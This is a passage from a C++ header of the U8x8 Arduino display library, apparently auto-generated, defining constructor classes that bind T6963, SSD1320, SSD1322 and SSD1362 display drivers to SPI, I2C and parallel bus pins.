uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_t6963_240x64, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_T6963_256X64_8080 : public U8X8 {\n  public: U8X8_T6963_256X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_t6963_256x64, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_T6963_128X64_8080 : public U8X8 {\n  public: U8X8_T6963_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_t6963_128x64, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_T6963_128X64_ALT_8080 : public U8X8 {\n  public: U8X8_T6963_128X64_ALT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_t6963_128x64_alt, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_T6963_160X80_8080 : public U8X8 {\n  public: U8X8_T6963_160X80_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_t6963_160x80, u8x8_cad_100, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X32_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X32_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X32_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X32_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1320_160X32_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1320_160X32_6800 : public U8X8 {\n  public: U8X8_SSD1320_160X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X32_8080 : public U8X8 {\n  public: U8X8_SSD1320_160X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X132_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X132_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X132_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X132_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X132_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X132_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X132_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X132_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1320_160X132_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X132_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1320_160X132_6800 : public U8X8 {\n  public: U8X8_SSD1320_160X132_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X132_8080 : public U8X8 {\n  public: U8X8_SSD1320_160X132_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x132, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X80_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X80_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X80_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X80_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X80_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X80_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X80_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X80_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1320_160X80_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1320_160X80_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1320_160X80_6800 : public U8X8 {\n  public: U8X8_SSD1320_160X80_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X80_8080 : public U8X8 {\n  public: U8X8_SSD1320_160X80_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1320_160X80_SW_I2C : public U8X8 {\n  public: U8X8_SSD1320_160X80_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1320_160X80_HW_I2C : public U8X8 {\n  public: U8X8_SSD1320_160X80_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1320_160X80_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1320_160X80_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1322_240X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1322_240X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_240X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1322_240X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_240X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1322_240X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_240X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1322_240X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1322_240X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1322_240X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1322_240X128_6800 : public U8X8 {\n  public: U8X8_SSD1322_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_240X128_8080 : public U8X8 {\n  public: U8X8_SSD1322_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_240x128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_256X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_256X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_256X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_256X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_256X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_256X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_256X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_256X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_256X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_256X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_256X64_6800 : public U8X8 {\n  public: U8X8_SSD1322_NHD_256X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_256X64_8080 : public U8X8 {\n  public: U8X8_SSD1322_NHD_256X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_128X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_128X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_128X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_128X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_128X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_128X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_128X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_128X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_128X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1322_NHD_128X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_128X64_6800 : public U8X8 {\n  public: U8X8_SSD1322_NHD_128X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1322_NHD_128X64_8080 : public U8X8 {\n  public: U8X8_SSD1322_NHD_128X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_256X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1362_256X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_256X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1362_256X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_256X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1362_256X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1362_256X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1362_256X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1362_256X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1362_256X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1362_256x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    